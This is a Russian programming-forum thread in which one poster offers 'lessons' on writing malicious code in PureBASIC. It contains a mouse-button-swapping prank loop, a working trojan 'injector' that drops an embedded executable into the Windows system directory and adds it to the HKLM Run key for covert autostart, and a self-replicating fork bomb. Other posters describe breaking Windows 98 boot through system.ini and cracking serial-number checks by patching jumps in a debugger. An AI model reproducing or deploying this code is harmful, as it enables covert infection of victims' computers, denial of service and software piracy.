![]() |
Здравствуйте, гость ( Вход | Регистрация )
![]() ![]() |
![]() |
![]()
Сообщение
#1
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.
Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать ![]() Итак, УРОК ПЕРВЫЙ: Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу ![]() ![]() Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код: Код Define FSwap = -1 Repeat : SwapMouseButton_(FSwap) FSwap = ~FSwap Delay((Random(4) + 1) * 100) ForEver Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую: Цитата reverses or restores the meaning of the left and right mouse buttons. BOOL SwapMouseButton( BOOL fSwap // reverse or restore buttons ); Parameters fSwap Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings. После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках ![]() ![]() ![]() Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик ![]() To be continued... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#2
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
вопросик прога делает это программно через хук? тогда можно в панели управления поменять кнопки местами
-------------------- |
|
|
![]()
Сообщение
#3
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата вопросик прога делает это программно через хук? Нет, без хука. Просто меняется режим работы мыши. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#4
|
|
![]() Advanced Member Сообщений: 144 Спасибо сказали: 0 раз ![]() |
эх, когда деревья были большими, а колбаса вкусной, и когда у всех стояли 98 форточки был один весёленький прикол заставлявший друзей немного нервничать. Его действие было примерно таким. (скорее всего все вы о ней знаете, но всё таки)
Чувак включает комп выходит заставка винды и после этого экрас с надписью: Питание компьютера теперь можно выключить (или что то в этом роде, не помню дословно фразу) и комп вырубается. И так повторяется до бесконечности. Чувак в стопоре. Занавес. А делается эта маленькая подлянка достаточно просто. В файле system.ini есть строчка mouse.drv=moue.drv и делаем замену на mouse.drv=(всё что угодно, либо пустое поле). Сохраняем файлик. (Делаем это тогда, когда просим друга принести водички попить). И продолжаем заниматся своими делами. Как только комп выключится или перезагрузится то будет этот милый прикол. Лечилка проста. Загружаемся в safe mode и восстанавливаем значение как оно и было. Вот ![]() -------------------- |
|
|
![]()
Сообщение
#5
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
и каково же обьяснение этому? почему так происходит?
|
|
|
![]()
Сообщение
#6
|
|
![]() Advanced Member Сообщений: 144 Спасибо сказали: 0 раз ![]() |
Цитата(gamecreator @ 25 Dec 2006, 17:18) и каково же обьяснение этому? почему так происходит? нестыковка системного файла, и итог выключение компа -------------------- |
|
|
![]()
Сообщение
#7
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Итак, я думаю настало время приподать вам Урок №2
![]() В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код: Код Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S) Define Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0) RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat)) RegCloseKey_(Hnd) EndProcedure DataSection DNA: IncludeBinary "путь до иньектируемого EXE" End_DNA: EndDataSection Define SysDir.S = Space(#MAX_PATH) GetSystemDirectory_(SysDir, #MAX_PATH) SysDir = PeekS(@SysDir) If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf SysDir + "MC.EXE" SetFileAttributes(SysDir, #PB_FileSystem_Normal) CreateFile(0, SysDir) WriteData(0, ?DNA, ?End_DNA - ?DNA) CloseFile(0) RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir) Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати ![]() Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе ![]() ![]() P.S. Я плюсов дождусь или нет ![]() -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#8
|
|
![]() Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз ![]() |
Я бы поставил, но пока не могу, т.к. недавно плюсовал. А так интересно почитать... продолжай...
Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу??? В кино хакеры это лихо проделывают... |
|
|
![]()
Сообщение
#9
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
ручками. берешь и перебираешь все варианты
![]() правда это совсем крайний случай |
|
|
![]()
Сообщение
#10
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу??? В кино хакеры это лихо проделывают... Спроси у Bourn'а, он в этом лучше разбирается. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#11
|
|
![]() Ангел Сообщений: 450 Спасибо сказали: 4 раза ![]() |
Я по пакостям не специалист(дружеский кивок в сторону Chrono Syndrome),
но про серийник рассказать попробую. Подбирать его достаточно гиблое занятие, иногда удается сделать проще ![]() Есть такая замечательная софтина, называется Olly Debugger. Я, конечно же, не претендую на то, что это высшй класс, но лично меня не раз выручала. Особенно в игрушках. Так вот! По своей сути эта штука является дизассемблером. Причем в ней есть очень и очень грамотный момент: по количеству и качеству параметров она распознает вызовы WinAPI-функций ![]() ![]() Для тех, кто не знает: jnc, jnz - это команды условного перехода. Действуют по принципу if ... then...goto. Как говорится, "Когда пошел бы я налево, весь мир бы был другим" ![]() ![]() "Если серийник гадский, то все хорошо" ![]() Но это, ребята, ПРОСТЕЙШИЙ случай. Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее ![]() Иногда серийник может являться ключом к расшифровке части программного кода или ряда библиотек, и тогда надо долго анализировать кодирующую/декодирующую часть программы. В том же дизассемблере ![]() -------------------- Смерть - не конец, жизнь - не начало...
|
|
|
![]()
Сообщение
#12
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
главное чтоб серийник не генерился по алгоритму затрагивая API библиотеки криптографии, это crypt32 и от части advapi32
насчет последней строчки хорошо можно посмотреть защиту ASProtect, идеальный пример постепенной расшифровки... я могу рассказать конечно больше о взломе серийника, но это идет углубление в АСМ, и знания каких либо языков программирования, + еще некоторые особенности надо знать чтобы приступать к этому делу... 2 Avaddon мне нравиться дебаггер в делфи... Добавлено ([mergetime]1167110815[/mergetime]): 2 Chrono Syndrome 1)сколька прога эта будет весить? 2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC 3)на счет проги которая может быть в ресурсах: http://kos.svnets.lv/flame/index.php?showtopic=520 -------------------- |
|
|
![]()
Сообщение
#13
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата 1)сколька прога эта будет весить? 6 656 байт в несжатом виде + размер внедряемого EXE. Цитата 2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC Давай ! Цитата 3)на счет проги которая может быть в ресурсах: Тоже ничего так ![]() ![]() -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#14
|
|
![]() Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз ![]() |
Цитата(Avaddon @ 26 Dec 2006, 02:54) Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее ![]() это к хроне. она научилась пароли подбирать ![]() ![]() |
|
|
![]()
Сообщение
#15
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
2 Chrono Syndrome
У VC размер 2,5кб 2 gamecreator подбирать это еще полдела -------------------- |
|
|
![]()
Сообщение
#16
|
|
![]() Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз ![]() |
А как работают программки генерации серийников
|
|
|
![]()
Сообщение
#17
|
|
![]() Immortal Сообщений: 2 415 Спасибо сказали: 60 раз ![]() |
нет определенных инструкций по их работе
![]() но они могу использовать шифрование данных, как выше было сказано ключи для расшифровки тела программы, генерации по рандом числам и тп -------------------- |
|
|
![]()
Сообщение
#18
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Цитата У VC размер 2,5кб Да ? Ну, бывает ![]() -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#19
|
|
![]() •●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5936 раз ![]() |
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик ![]() Код RunProgram(ProgramFilename()) RunProgram(ProgramFilename()) Попробуйте запустить, вас ждут незабываемые ощущения ![]() -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
![]()
Сообщение
#20
|
|
![]() Паладин-Урук Сообщений: 582 Спасибо сказали: 2 раза ![]() |
Цитата Попробуйте запустить, вас ждут незабываемые ощущения ![]() Да, да попробуйте запустить. Комп придется перезагружать. А если с автозагрузеой, то хуже любова вируса. -------------------- ![]() Кораблик, кораблик унеси меня в царство мертвых ![]() Faber est suae quisque furtunae |
|
|
![]() ![]() |
Текстовая версия | Сейчас: 10 September 2025 - 01:12 |
Copyright by Алексей Крючков
![]() Programming by Degtyarev Dmitry |
|